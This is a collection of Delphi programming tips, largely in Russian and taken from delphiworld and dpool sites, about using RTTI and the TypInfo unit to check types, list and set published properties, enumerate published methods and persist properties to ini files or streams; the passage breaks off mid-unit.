является истинным в том случае, если объект AObject является экземпляром класса TSomeObjectType или одного из порожденных от него классов. Следует отметить, что определенная проверка происходит еще на этапе компиляции программы. если фактические объект и класс несовместимы, компилятор выдаст ошибку в этом операторе. Так, следующий программный код

if Edit1 is TForm then
  ShowMessage('Враки!');

даже не будет пропущен компилятором, и он выдаст сообщение о не совместимости типов (разумеется, что Edit1 — это компонент типа TEdit):

Incompatible types: 'TForm' and 'TEdit'.

Перейдем теперь к оператору as. Он введен в язык специально для приведения объектных типов. Посредством него можно рассматривать экземпляр объекта как принадлежащий к другому совместимому типу:

AObject as TSomeObjectType

Использование оператора as отличается от обычного способа приведения типов

TSomeObjectType(AObject)

наличием проверки на совместимость типов. Так при попытке приведения этого оператора с несовместимым типом он сгенерирует исключение EInvalidCast. Определенным недостатком операторов is и as является то, что присваиваемый фактически тип должен быть известен на этапе компиляции программы и поэтому на месте TSomeObjectType не может стоять переменная указателя на класс.

Для иллюстрации только что написанного рассмотрим небольшой пример. Предположим у вас на форме имеется ряд компонент типа TEdit, и вы хотите реализовать их очистку их свойств перед созданием формы. С применением RTTI это можно сделать следующим программным кодом:

var
  I: Integer;
begin
  for I := 0 to ComponentCount - 1 do
    if Components[I] is TEdit then
      (Components[I] as TEdit).Text := '';
      { или так TEdit (Components[I]).Text := ''; }
end;

Хочу обратить ваше внимание, а то, что стандартное приведение типа в данном примере предпочтительнее, поскольку в операторе if мы уже установили что компонент является объектом нужного нам типа и дополнительная проверка соответствия типов, проводимая оператором as, нам уже не нужна.

Первые шаги в понимании RTTI мы уже сделали. Теперь переходим к подробностям. Все основополагающие определения типов, основные функции и процедуры для работы с runtime информацией находятся в модуле TypInfo. Этот модуль содержит две фундаментальные структуры для работы с RTTI — TTypeInfo и TTypeData (типы указателей на них — PTypeInfo и PTypeData соответственно). Суть работы с RTTI выглядит следующим образом. Получаем указатель на структуру типа TTypeInfo (для объектов указатель можно получить, вызвав метод, реализованный в TObject, ClassInfo, а для простых типов в модуле System существует функция TypeInfo). Затем, посредством имеющегося указателя и вызова функции GetTypeData получаем указатель на структуру типа TTypeData. Далее используя оба указателя и функции модуля TypInfo творим маленькие чудеса. Для пояснения написанного выше рассмотрим пример получения текстового вида значений перечисляемого типа. Пусть, например, это будет тип TBrushStyle. Этот тип описан в модуле Graphics следующим образом:

TBrushStyle = (bsSolid, bsClear, bsHorizontal, bsVertical,
  bsFDiagonal, bsBDiagonal, bsCross, bsDiagCross);

Вот мы и попробуем получить конкретные значения этого типа в виде текстовых строк. Для этого создайте пустую форму. Поместите на нее компонент типа TListBox с именем ListBox1 и кнопку. Реализацию события OnClick кнопки замените следующим кодом:

var
  ATypeInfo: PTypeInfo;
  ATypeData: PTypeData;
  I: Integer;
  S: string;
begin
  ATypeInfo := TypeInfo(TBrushStyle);
  ATypeData := GetTypeData(ATypeInfo);
  for I := ATypeData.MinValue to ATypeData.MaxValue do
  begin
    S := GetEnumName(ATypeInfo, I);
    ListBox1.Items.Add(S);
  end;
end;

Ну вот, теперь, когда на вооружении у нас есть базовые знания о противнике, чье имя, на первый взгляд выглядит непонятно и пугающее — RTTI настало время большого примера. Мы приступаем к созданию объекта опций для хранения различных параметров, использующего в своей работе мощь RTTI на полную катушку. Чем же примечателен, будет наш будущий класс? А тем, что он реализует сохранение в ini-файл и считывание из него свои свойства секции published. Его потомки будут иметь способность сохранять свойства, объявленные в секции published, и считывать их, не имея для этого никакой собственной реализации. Надо лишь создать свойство, а все остальное сделает наш базовый класс. Сохранение свойств организуется при уничтожении объекта (т.е. при вызове деструктора класса), а считывание и инициализация происходит при вызове конструктора класса. Декларация нашего класса имеет следующий вид:

{$M+}
TOptions = class(TObject)
  protected
    FIniFile: TIniFile;
    function Section: string;
    procedure SaveProps;
    procedure ReadProps;
  public
    constructor Create(const FileName: string);
    destructor Destroy; override;
end;
{$M-}

Класс TOptions является производным от TObject и по этому, что бы компилятор генерировал runtime информацию его надо объявлять директивами {$M+/-}. Декларация класса весьма проста и вызвать затруднений в понимании не должна. Теперь переходим к реализации методов.

constructor TOptions.Create(const FileName: string);
begin
  FIniFile:=TIniFile.Create(FileName);
  ReadProps;
end;

destructor TOptions.Destroy;
begin
  SaveProps;
  FIniFile.Free;
  inherited Destroy;
end;

Как видно реализация конструктора и деструктора тривиальна. В конструкторе мы создаем объект для работы с ini-файлом и организуем считывание свойств. В деструкторе мы в сохраняем значения свойств в файл и уничтожаем файловый объект. Всю нагрузку по реализации сохранения и считывания published-свойств несут методы SaveProps и ReadProps соответственно.

procedure TOptions.SaveProps;
var
  I, N: Integer;
  TypeData: PTypeData;
  List: PPropList;
begin
  TypeData:= GetTypeData(ClassInfo);
  N:= TypeData.PropCount;
  if N <= 0 then
    Exit;
  GetMem(List, SizeOf(PPropInfo)*N);
  try
    GetPropInfos(ClassInfo,List);
    for I:= 0 to N - 1 do
      case List[I].PropType^.Kind of
        tkEnumeration, tkInteger:
          FIniFile.WriteInteger(Section, List[I]^.name,GetOrdProp(Self,List[I]));
        tkFloat:
          FIniFile.WriteFloat(Section, List[I]^.name, GetFloatProp(Self, List[I]));
        tkString, tkLString, tkWString:
          FIniFile.WriteString(Section, List[I]^.name, GetStrProp(Self, List[I]));
      end;
  finally
    FreeMem(List,SizeOf(PPropInfo)*N);
  end;
end;

procedure TOptions.ReadProps;
var
  I, N: Integer;
  TypeData: PTypeData;
  List: PPropList;
  AInt: Integer;
  AFloat: Double;
  AStr: string;
begin
  TypeData:= GetTypeData(ClassInfo);
  N:= TypeData.PropCount;
  if N <= 0 then
    Exit;
  GetMem(List, SizeOf(PPropInfo)*N);
  try
    GetPropInfos(ClassInfo, List);
    for I:= 0 to N - 1 do
      case List[I].PropType^.Kind of
        tkEnumeration, tkInteger:
        begin
          AInt:= GetOrdProp(Self, List[I]);
          AInt:= FIniFile.ReadInteger(Section, List[I]^.name, AInt);
          SetOrdProp(Self, List[i], AInt);
        end;
        tkFloat:
        begin
          AFloat:=GetFloatProp(Self,List[i]);
          AFloat:=FIniFile.ReadFloat(Section, List[I]^.name,AFloat);
          SetFloatProp(Self,List[i],AFloat);
        end;
        tkString, tkLString, tkWString:
        begin
          AStr:= GetStrProp(Self,List[i]);
          AStr:= FIniFile.ReadString(Section, List[I]^.name, AStr);
          SetStrProp(Self,List[i], AStr);
        end;
      end;
  finally
    FreeMem(List,SizeOf(PPropInfo)*N);
  end;
end;

function TOptions.Section: string;
begin
  Result := ClassName;
end;

Теперь, для проверки работоспособности, и отладки объекта опций создадим новое приложение и подключим к нему модуль, в котором описан и реализован объект TOptions. Ниже приведен программный код, иллюстрирующий создание наследника от класса TOptions и его использования в главной (и единственной) форме нашего тестового приложения интерфейсная часть выглядит так:

TMainOpt = class(TOptions)
  private
    FText: string;
    FHeight: Integer;
    FTop: Integer;
    FWidth: Integer;
    FLeft: Integer;
    procedure SetText(const Value: string);
    procedure SetHeight(Value: Integer);
    procedure SetLeft(Value: Integer);
    procedure SetTop(Value: Integer);
    procedure SetWidth(Value: Integer);
  published
    property Text: string read FText write SetText;
    property Left: Integer read FLeft write SetLeft;
    property Top: Integer read FTop write SetTop;
    property Width: Integer read FWidth write SetWidth;
    property Height: Integer read FHeight write SetHeight;
end;

TForm1 = class(TForm)
    Edit1: TEdit;
    procedure Edit1Change(Sender: TObject);
  private
    FMainOpt: TMainOpt;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
end;

А вот и реализация:

constructor TForm1.Create(AOwner: TComponent);
var
  S: string;
begin
  inherited Create(AOwner);
  S := ChangeFileExt(Application.ExeName, '.ini');
  FMainOpt := TMainOpt.Create(S);
  Edit1.Text := FMainOpt.Text;

  Left := FMainOpt.Left;
  Top := FMainOpt.Top;
  Width := FMainOpt.Width;
  Height := FMainOpt.Height;
end;

destructor TForm1.Destroy;
begin
  FMainOpt.Left := Left;
  FMainOpt.Top := Top;
  FMainOpt.Width := Width;
  FMainOpt.Height := Height;
  FMainOpt.Free;
  inherited Destroy;
end;

{ TMainOpt }

procedure TMainOpt.SetText(const Value: string);
begin
  FText := Value;
end;

procedure TForm1.Edit1Change(Sender: TObject);
begin
  FMainOpt.Text := Edit1.Text;
end;

procedure TMainOpt.SetHeight(Value: Integer);
begin
  FHeight := Value;
end;

procedure TMainOpt.SetLeft(Value: Integer);
begin
  FLeft := Value;
end;

procedure TMainOpt.SetTop(Value: Integer);
begin
  FTop := Value;
end;

procedure TMainOpt.SetWidth(Value: Integer);
begin
  FWidth := Value;
end;

В заключение своей статьи хочу сказать, что RTTI является недокументированной возможностью Object Pascal и поэтому информации на эту тему в справочной системе и электронной документации весьма мало. Наиболее легкодоступный способ изучить более подробно эту фишку — просмотр и изучение исходного текста модуля TypInfo.

Взято с http://delphiworld.narod.ru


Как прочитать значение свойства компонента по имени?

л

You may need to know at runtime what properties are available for a particular component at runtime. The list can be obtained by a call to GetPropList. The types, functions and procedures, including GetPropList, that allow access to this property information reside in the VCL source file TYPINFO.PAS.

GetPropList Parameters

function GetPropList(TypeInfo: PTypeInfo; TypeKinds: TTypeKinds; PropList: PPropList): Integer;

The first parameter for GetPropList is of type PTypeInfo, and is part of the RTTI (Run Time Type Information) available for any object. The record structure defined:

PPTypeInfo = ^PTypeInfo;
PTypeInfo = ^TTypeInfo;
TTypeInfo = record
  Kind: TTypeKind;
  Name: ShortString;
  {TypeData: TTypeData}
end;

The TTypeInfo record can be accessed through the objects ClassInfo property. For example, if you were getting the property list of a TButton, the call might look, so far, like this:

GetPropList(Button1.ClassInfo, ....

The second parameter, of type TTypeKinds, is a set type that acts as a filter for the kinds of properties to include in the list. There are a number of valid entries that could be included in the set (see TYPEINFO.PAS), but tkProperties covers the majority. Now our call to GetPropList would look like:

GetPropList(Button1.ClassInfo, tkProperties ....

The last parameter, PPropList is an array of PPropInfo and is defined in TYPEINFO.PAS:

PPropList = ^TPropList;
TPropList = array[0..16379] of PPropInfo;

Now the call might read:

procedure TForm1.FormCreate(Sender: TObject);
var
  PropList: PPropList;
begin
  PropList := AllocMem(SizeOf(PropList^));
  GetPropList(TButton.ClassInfo, tkProperties + [tkMethod], PropList);
{...}

Getting Additional Information from the TTypeInfo Record:

The example at the end of this document lists not just the property name, but it's type. The name of the property type resides in an additional set of structures. Let's take a second look at the TPropInfo record. Notice that it contains a PPTypeInfo that points ultimately to a TTypeInfo record. TTypeInfo contains the class name of the property.

PPropInfo = ^TPropInfo;
TPropInfo = packed record
  PropType: PPTypeInfo;
  GetProc: Pointer;
  SetProc: Pointer;
  StoredProc: Pointer;
  Index: Integer;
  Default: Longint;
  NameIndex: SmallInt;
  Name: ShortString;
end;

PPTypeInfo = ^PTypeInfo;
PTypeInfo = ^TTypeInfo;
TTypeInfo = record
  Kind: TTypeKind;
  Name: ShortString;
  {TypeData: TTypeData}
end;

The example below shows how to set up the call to GetPropList, and how to access the array elements. TForm will be referenced in this example instead of TButton, but you can substitute other values in the GetPropList call. The visible result will be to fill the list with the property name and type of the TForm properties.

This project requires a TListBox. Enter the code below in the forms OnCreate event handler.

uses
  TypInfo;

procedure TForm1.FormCreate(Sender: TObject);
var
  PropList: PPropList;
  i: integer;
begin
  PropList := AllocMem(SizeOf(PropList^));
  i := 0;
  try
    GetPropList(TForm.ClassInfo, tkProperties + [tkMethod], PropList);
    while (PropList^[i] <> Nil) and (i < High(PropList^)) do
    begin
      ListBox1.Items.Add(PropList^[i].Name + ': ' + PropList^[i].PropType^.Name);
      Inc(i);
    end;
  finally
    FreeMem(PropList);
  end;
end;
Взято из http://www.lmc-mediaagentur.de/dpool


Как изменить значение свойства компонента по имени?

function GetProperty(AControl: TPersistent; AProperty: String): PPropInfo;
var
  i: Integer;
  props: PPropList;
  typeData: PTypeData;
begin
  Result := nil;
  if (AControl = nil) or (AControl.ClassInfo = nil) then
    Exit;
  typeData := GetTypeData(AControl.ClassInfo);
  if (typeData = nil) or (typeData^.PropCount = 0) then
    Exit;
  GetMem(props, typeData^.PropCount * SizeOf(Pointer));
  try
    GetPropInfos(AControl.ClassInfo, props);
    for i := 0 to typeData^.PropCount - 1 do
    begin
      with Props^[i]^ do
        if (Name = AProperty) then
          result := Props^[i];
    end;
  finally
    FreeMem(props);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  propInfo: PPropInfo;
begin
  PropInfo := GetProperty(Button1.Font, 'Name');
  if PropInfo <> nil then
    SetStrProp(Button1.Font, PropInfo, 'Arial');
end;
Взято из http://www.lmc-mediaagentur.de/dpool

You can use RTTI to do this. Here is how to change a particular component:

procedure TForm1.BtnClick(Sender: TObject);
var
  p: PPropInfo;
  f: TFont;
begin
  f := TFont.Create;
  {Setup the font properties}
  f.Name := 'Arial';
  p := GetPropInfo(Sender.ClassInfo, 'Font');
  if Assigned(p) then
    SetOrdProp(Sender, p, Integer(f));
  f.Free;
end;

To get at all the forms loop through the Screen global variable. For each form loop through its Components list calling the above procedure (or something close). If you only create your components at design time that is it. If you create some at runtime and the owner is not the form, then for each component loop through its Components list recursively to get at all the owned components.

Tip by Jeff Overcash
Взято из http://www.lmc-mediaagentur.de/dpool

I am building a routine that checks our forms for validity before deploying them. I would like to use some kind of structure that tests if a component type has access to a certain property, something like: " if (self.Controls[b] has Tag) then ...". Can anyone offer suggestions?
Here's an example of setting a string property for a component if it exists and another for an integer property:

procedure SetStringPropertyIfExists(AComp: TComponent; APropName: String;
AValue: String);
var
  PropInfo: PPropInfo;
  TK: TTypeKind;
begin
  PropInfo := GetPropInfo(AComp.ClassInfo, APropName);
  if PropInfo <> nil then
  begin
    TK := PropInfo^.PropType^.Kind;
    if (TK = tkString) or (TK = tkLString) or (TK = tkWString) then
      SetStrProp(AComp, PropInfo, AValue);
  end;
end;

procedure SetIntegerPropertyIfExists(AComp: TComponent; APropName: String;
AValue: Integer);
var
  PropInfo: PPropInfo;
begin
  PropInfo := GetPropInfo(AComp.ClassInfo, APropName);
  if PropInfo <> nil then
  begin
    if PropInfo^.PropType^.Kind = tkInteger then
      SetOrdProp(AComp, PropInfo, AValue);
  end;
end;

Tip by Xavier Pacheco
Взято из http://www.lmc-mediaagentur.de/dpool


Как получить контекст свойства по его целочисленному значению?

unit PropertyList;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons;

type
  TMyStream = class(TFileStream)
  private
  FFred: integer;
  published
  property Fred: integer read FFred write FFred;
  end;
type
  TFrmPropertyList = class(TForm)
  SpeedButton1: TSpeedButton;
  ListBox1: TListBox;
  procedure SpeedButton1Click(Sender: TObject);
private
  { Private declarations }
public
  { Public declarations }
end;

var
  FrmPropertyList: TFrmPropertyList;

implementation

{$R *.DFM}

uses
  TypInfo;

procedure ListProperties(AInstance: TPersistent; AList: TStrings);
var
  i: integer;
  pInfo: PTypeInfo;
  pType: PTypeData;
  propList: PPropList;
  propCnt: integer;
  tmpStr: string;
begin
  pInfo := AInstance.ClassInfo;
  if (pInfo = nil) or (pInfo^.Kind <> tkClass) then
    raise Exception.Create('Invalid type information');
  pType := GetTypeData(pInfo);  {Pointer to TTypeData}
  AList.Add('Class name: ' + pInfo^.Name);
  {If any properties, add them to the list}
  propCnt := pType^.PropCount;
  if propCnt > 0 then
  begin
    AList.Add (EmptyStr);
    tmpStr := IntToStr(propCnt) + ' Propert';
    if propCnt > 1 then
      tmpStr := tmpStr + 'ies'
    else
      tmpStr := tmpStr + 'y';
    AList.Add(tmpStr);
    FillChar(tmpStr[1], Length(tmpStr), '-');
    AList.Add(tmpStr);
    {Get memory for the property list}
    GetMem(propList, sizeOf(PPropInfo) * propCnt);
    try
      {Fill in the property list}
      GetPropInfos(pInfo, propList);
      {Fill in info for each property}
      for i := 0 to propCnt - 1 do
        AList.Add(propList[i].Name + ': ' + propList[i].PropType^.Name);
    finally
      FreeMem(propList, sizeOf(PPropInfo) * propCnt);
    end;
  end;
end;

function GetPropertyList(AControl: TPersistent; AProperty: string): PPropInfo;
var
  i: integer;
  props: PPropList;
  typeData: PTypeData;
begin
  Result := nil;
  if (AControl = nil) or (AControl.ClassInfo = nil) then
    Exit;
  typeData := GetTypeData(AControl.ClassInfo);
  if (typeData = nil) or (typeData^.PropCount = 0) then
    Exit;
  GetMem(props, typeData^.PropCount * SizeOf(Pointer));
  try
    GetPropInfos(AControl.ClassInfo, props);
    for i := 0 to typeData^.PropCount - 1 do
    begin
      with Props^[i]^ do
        if (Name = AProperty) then
          result := Props^[i];
    end;
  finally
    FreeMem(props);
  end;
end;

procedure TFrmPropertyList.SpeedButton1Click(Sender: TObject);
var
  c: integer;
begin
  ListProperties(self, ListBox1.Items);
  for c := 0 to ComponentCount - 1 do
  begin
    ListBox1.Items.Add(EmptyStr);
    ListProperties(Components[c], ListBox1.Items);
  end;
end;

end.

Tip by Ralph Friedman
Взято из http://www.lmc-mediaagentur.de/dpool


Как получить значение свойства в виде варианта по тексту имени свойства?

unit MorePropInfo;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type
  TFrmMorePropInfo = class(TForm)
    Button1: TButton;
    Button2: TButton;
    ListBox1: TListBox;
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FrmMorePropInfo: TFrmMorePropInfo;

implementation

{$R *.DFM}

uses
  TypInfo;

procedure GetPropertyValues(AObj: TObject; AValues: TStrings);
var
  count: integer;
  data: PTypeData;
  default: string;
  i: integer;
  info: PTypeInfo;
  propList: PPropList;
  propInfo: PPropInfo;
  propName: string;
  value: variant;
begin
  info := AObj.ClassInfo;
  data := GetTypeData(info);
  GetMem(propList, data^.PropCount * SizeOf(PPropInfo));
  try
    count := GetPropList(info, tkAny,  propList);
    for i := 0 to count - 1 do
    begin
      propName := propList^[i]^.Name;
      propInfo := GetPropInfo(info, propName);
      if propInfo <> nil then
      begin
        case propInfo^.PropType^.Kind of
          tkClass, tkMethod:
            value := '$' + IntToHex(GetOrdProp(AObj, propInfo), 8);
          tkFloat:
            value := GetFloatProp(AObj, propInfo);
          tkInteger:
            value := GetOrdProp(AObj, propInfo);
          tkString, tkLString, tkWString:
            value := GetStrProp(AObj, propInfo);
          tkEnumeration:
            value := GetEnumProp(AObj, propInfo);
          else
            value := '???';
        end;
        if propInfo.default = longint($80000000) then
          default := 'none'
        else
          default := IntToStr(propInfo.default);
        AValues.Add(Format('%s: %s [default: %s]', [propName, value, default]));
        {$80000000 apparently indicates "no default"}
      end;
    end;
  finally
    FreeMem(propList, data^.PropCount * SizeOf(PPropInfo));
  end;
end;

procedure TFrmMorePropInfo.Button2Click(Sender: TObject);
var
  count: integer;
  data: PTypeData;
  i: integer;
  info: PTypeInfo;
  propList: PPropList;
  propInfo: PPropInfo;
  propName: string;
  propVal: variant;
  tmpS: string;
begin
  info := Button2.ClassInfo;
  data := GetTypeData(info);
  GetMem(propList, data^.PropCount * SizeOf(PPropInfo));
  try
    count := GetPropList(info, tkAny,  propList);
    ListBox1.Clear;
    for i := 0 to count - 1 do
    begin
      propName := propList^[i]^.Name;
      propInfo := GetPropInfo(info, propName);
      if propInfo <> nil then
      begin
        case propInfo^.PropType^.Kind of
          tkClass, tkMethod:
            propVal := '$' + IntToHex(GetOrdProp(Button2, propInfo), 8);
          tkFloat:
            propVal := GetFloatProp(Button2, propInfo);
          tkInteger:
            propVal := GetOrdProp(Button2, propInfo);
          tkString, tkLString, tkWString:
            propVal := GetStrProp(Button2, propInfo);
          tkEnumeration:
            propVal := GetEnumProp(Button2, propInfo);
          else
            propVal := '...';
        end;
        tmpS := propVal;
        ListBox1.Items.Add(Format('%s: %s [default: %s]', [propName, tmpS, '$'
                                             + IntToHex(propInfo.default, 8)]));
        {$80000000 apparently indicates "no default"}
      end;
    end;
  finally
    FreeMem(propList, data^.PropCount * SizeOf(PPropInfo));
  end;
end;

end.

Tip by Ralph Friedman
Взято из http://www.lmc-mediaagentur.de/dpool


Как прочитать весь список Published методов?

procedure EnumMethods( aClass: TClass; lines: TStrings );

  type
    TMethodtableEntry = packed Record
      len: Word;
      adr: Pointer;
      name: ShortString;
  end;
  {Note: name occupies only the size required, so it is not a true shortstring! The actual
  entry size is variable, so the method table is not an array of TMethodTableEntry!}

var
  pp: ^Pointer;
  pMethodTable: Pointer;
  pMethodEntry: ^TMethodTableEntry;
  i, numEntries: Word;
begin
  if aClass = nil then
    Exit;
  pp := Pointer(Integer( aClass ) + vmtMethodtable);
  pMethodTable := pp^;
  lines.Add(format('Class %s: method table at %p', [aClass.Classname, pMethodTable ] ));
  if pMethodtable <> nil then
  begin
    {first word of the method table contains the number of entries}
    numEntries := PWord( pMethodTable )^;
    lines.Add(format('  %d published methods', [numEntries] ));
    {make pointer to first method entry, it starts at the second word of the table}
    pMethodEntry := Pointer(Integer( pMethodTable ) + 2);
    for i := 1 to numEntries do
    begin
      with pMethodEntry^ do
        lines.Add(format( '  %d: len: %d, adr: %p, name: %s', [i, len, adr, name] ));
      {make pointer to next method entry}
      pMethodEntry := Pointer(Integer( pMethodEntry ) + pMethodEntry^.len);
    end;
  end;
    EnumMethods( aClass.ClassParent, lines );
end;

procedure TForm2.Button1Click(Sender: TObject);
begin
  memo1.clear;
  EnumMethods( Classtype, memo1.lines );
end;
Взято из http://www.lmc-mediaagentur.de/dpool

function GetComponentProperties(Instance: TPersistent; AList: TStrings): Integer;
var
  I, Count: Integer;
  PropInfo: PPropInfo;
  PropList: PPropList;
begin
  Result := 0;
  Count := GetTypeData(Instance.ClassInfo)^.PropCount;
  if Count > 0 then
  begin
    GetMem(PropList, Count * SizeOf(Pointer));
    try
      GetPropInfos(Instance.ClassInfo, PropList);
      for I := 0 to Count - 1 do
      begin
        PropInfo := PropList^[I];
        if PropInfo = nil then
          Break;
        if IsStoredProp(Instance, PropInfo) then
        begin
          {
          case PropInfo^.PropType^.Kind of
            tkInteger:
            tkMethod:
            tkClass:
            ...
          end;
          }
        end;
        Result := AList.Add(PropInfo^.Name);
      end;
    finally
      FreeMem(PropList, Count * SizeOf(Pointer));
    end;
  end;
end;

Tip by Grega Loboda

uses
  TypInfo

procedure ListProperties(AInstance: TPersistent; AList: TStrings);
var
  i: integer;
  pInfo: PTypeInfo;
  pType: PTypeData;
  propList: PPropList;
  propCnt: integer;
  tmpStr: string;
begin
  pInfo := AInstance.ClassInfo;
  if (pInfo = nil) or (pInfo^.Kind <> tkClass) then
    raise Exception.Create('Invalid type information');
  pType := GetTypeData(pInfo);  {Pointer to TTypeData}
  AList.Add('Class name: ' + pInfo^.Name);
  {If any properties, add them to the list}
  propCnt := pType^.PropCount;
  if propCnt > 0 then
  begin
    AList.Add(EmptyStr);
    tmpStr := IntToStr(propCnt) + ' Propert';
    if propCnt > 1 then
      tmpStr := tmpStr + 'ies'
    else
      tmpStr := tmpStr + 'y';
    AList.Add(tmpStr);
    FillChar(tmpStr[1], Length(tmpStr), '-');
    AList.Add(tmpStr);
    {Get memory for the property list}
    GetMem(propList, sizeOf(PPropInfo) * propCnt);
    try
      {Fill in the property list}
      GetPropInfos(pInfo, propList);
      {Fill in info for each property}
      for i := 0 to propCnt - 1 do
        AList.Add(propList[i].Name+': '+propList[i].PropType^.Name);
    finally
      FreeMem(propList, sizeOf(PPropInfo) * propCnt);
    end;
  end;
end;

function GetPropertyList(AControl: TPersistent; AProperty: string): PPropInfo;
var
  i: integer;
  props: PPropList;
  typeData: PTypeData;
begin
  Result := nil;
  if (AControl = nil) or (AControl.ClassInfo = nil) then
    Exit;
  typeData := GetTypeData(AControl.ClassInfo);
  if (typeData = nil) or (typeData^.PropCount = 0) then
    Exit;
  GetMem(props, typeData^.PropCount * SizeOf(Pointer));
  try
    GetPropInfos(AControl.ClassInfo, props);
    for i := 0 to typeData^.PropCount - 1 do
    begin
      with Props^[i]^ do
        if (Name = AProperty) then
          result := Props^[i];
    end;
  finally
    FreeMem(props);
  end;
end;

And calling this code by:

ListProperties(TProject(treeview1.items[0].data), memo3.lines);

My tProject is defined as

type
   TProject = class(tComponent)
   private
     FNaam: string;
     procedure SetNaam(const Value: string);
   public
     constructor Create(AOwner: tComponent);
     destructor Destroy;
   published
     property Naam: string read FNaam write SetNaam;
   end;

Also note the output, there seem to be 2 standard properties (Name and Tag) !

Memo3
Class name: TProject

3 Properties
-------------------
Name: TComponentName
Tag: Integer
Naam: String

Tip by Ronan van Riet
Взято из http://www.lmc-mediaagentur.de/dpool


Как выяснить имеет ли объект определённое свойство?

function hasprop(comp: TComponent; const prop: String): Boolean;
var
  proplist: PPropList;
  numprops, i: Integer;
begin
  result := false;
  getmem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
  try
    NumProps := getproplist(comp.classInfo, tkProperties, proplist);
    for i := 0 to pred (NumProps) do
    begin
      if comparetext(proplist[i]^.Name, prop) = 0 then
      begin
        result := true;
        break;
      end;
    end;
  finally
    freemem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
  end;
end;

procedure setcomppropstring(comp: TComponent; const prop, s: String);
var
  proplist: PPropList;
  numprops, i: Integer;
begin
  getmem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
  try
    NumProps := getproplist(comp.classInfo, tkProperties, proplist);
    for i := 0 to pred (NumProps) do
    begin
      if (comparetext(proplist[i]^.Name, prop) = 0) and
         (comparetext(proplist[i]^.proptype^.name, 'string') = 0 then
      begin
        setStrProp(comp, proplist[i], s);
        break;
      end;
    end;
  finally
    freemem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
  end;
end;
Взято из http://www.lmc-mediaagentur.de/dpool

function HasProperty(Obj: TObject; Prop: string): PPropInfo;
begin
  Result := GetPropInfo(Obj.ClassInfo, Prop);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  p: pointer;
begin
  p := HasProperty(Button1, 'Color');
  if p <> nil then
    SetOrdProp(Button1, p, clRed)
  else
    ShowMessage('Button has no color property');
  p := HasProperty(Label1, 'Color');
  if p <> nil then
    SetOrdProp(Label1, p, clRed)
  else
    ShowMessage('Label has no color property');
  p := HasProperty(Label1.Font, 'Color');
  if p <> nil then
    SetOrdProp(Label1.Font.Color, p, clBlue)
  else
    ShowMessage('Label.Font has no color property');
end;

TypInfo.GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil

Таким образом можно узнать наличие таковой published "прОперти". А вот если это не поможет, то можно и "ломиком" поковыряться посредством FieldAddress. Однако этот метод дает адрес полей, которые перечисляются сразу после объявления класса как в unit'ых форм. А вот ежели "прОперть" нигде не "засветилась" (published) то фиг ты ее достанешь.

А модифицировать значение можно посредством прямой записи по адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный способы, перечисленные в unit'е TypInfo.

Модифицировать кучу объектов можно организовав цикл перебора оных с получением в цикле PropertyInfo объекта и записи в объект на основе PropInfo.

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Как сохранить значние свойства в поток?

How can I save properties of a TList to a stream? I need the entire list to be saved as a whole and not as individual objects.

A TList doesn't have any intrinsic streaming capability built into it, but it is very easy to stream anything that you want with a little elbow grease. Think about it: a stream is data. Classes have properties, whose values are data. It isn't too hard to write property data to a stream. Here's a simple example to get you going. This is but just one of many possible approaches to saving object property data to a stream:

unit uStreamableExample;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Contnrs;

type
  TStreamableObject = class(TPersistent)
  protected
    function ReadString(Stream: TStream): String;
    function ReadLongInt(Stream: TStream): LongInt;
    function ReadDateTime(Stream: TStream): TDateTime;
    function ReadCurrency(Stream: TStream): Currency;
    function ReadClassName(Stream: TStream): ShortString;
    procedure WriteString(Stream: TStream; const Value: String);
    procedure WriteLongInt(Stream: TStream; const Value: LongInt);
    procedure WriteDateTime(Stream: TStream; const Value: TDateTime);
    procedure WriteCurrency(Stream: TStream; const Value: Currency);
    procedure WriteClassName(Stream: TStream; const Value: ShortString);
  public
    constructor CreateFromStream(Stream: TStream);
    procedure LoadFromStream(Stream: TStream); virtual; abstract;
    procedure SaveToStream(Stream: TStream); virtual; abstract;
  end;

  TStreamableObjectClass = class of TStreamableObject;

  TPerson = class(TStreamableObject)
  private
    FName: String;
    FBirthDate: TDateTime;
  public
    constructor Create(const AName: string; ABirthDate: TDateTime);
    procedure LoadFromStream(Stream: TStream); override;
    procedure SaveToStream(Stream: TStream); override;
    property Name: String read FName write FName;
    property BirthDate: TDateTime read FBirthDate write FBirthDate;
  end;

  TCompany = class(TStreamableObject)
  private
    FName: String;
    FRevenues: Currency;
    FEmployeeCount: LongInt;
  public
    constructor Create(const AName: string; ARevenues: Currency; AEmployeeCount: LongInt);
    procedure LoadFromStream(Stream: TStream); override;
    procedure SaveToStream(Stream: TStream); override;
    property Name: String read FName write FName;
    property Revenues: Currency read FRevenues write FRevenues;
    property EmployeeCount: LongInt read FEmployeeCount write FEmployeeCount;
  end;

  TStreamableList = class(TStreamableObject)
  private
    FItems: TObjectList;
    function Get_Count: LongInt;
    function Get_Objects(Index: LongInt): TStreamableObject;
  public
    constructor Create;
    destructor Destroy; override;
    function FindClass(const AClassName: String): TStreamableObjectClass;
    procedure Add(Item: TStreamableObject);
    procedure Delete(Index: LongInt);
    procedure Clear;
    procedure LoadFromStream(Stream: TStream); override;
    procedure SaveToStream(Stream: TStream); override;
    property Objects[Index: LongInt]: TStreamableObject read Get_Objects; default;
    property Count: LongInt read Get_Count;
  end;

  TForm1 = class(TForm)
    SaveButton: TButton;
    LoadButton: TButton;
    procedure SaveButtonClick(Sender: TObject);
    procedure LoadButtonClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    Path: String;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

resourcestring
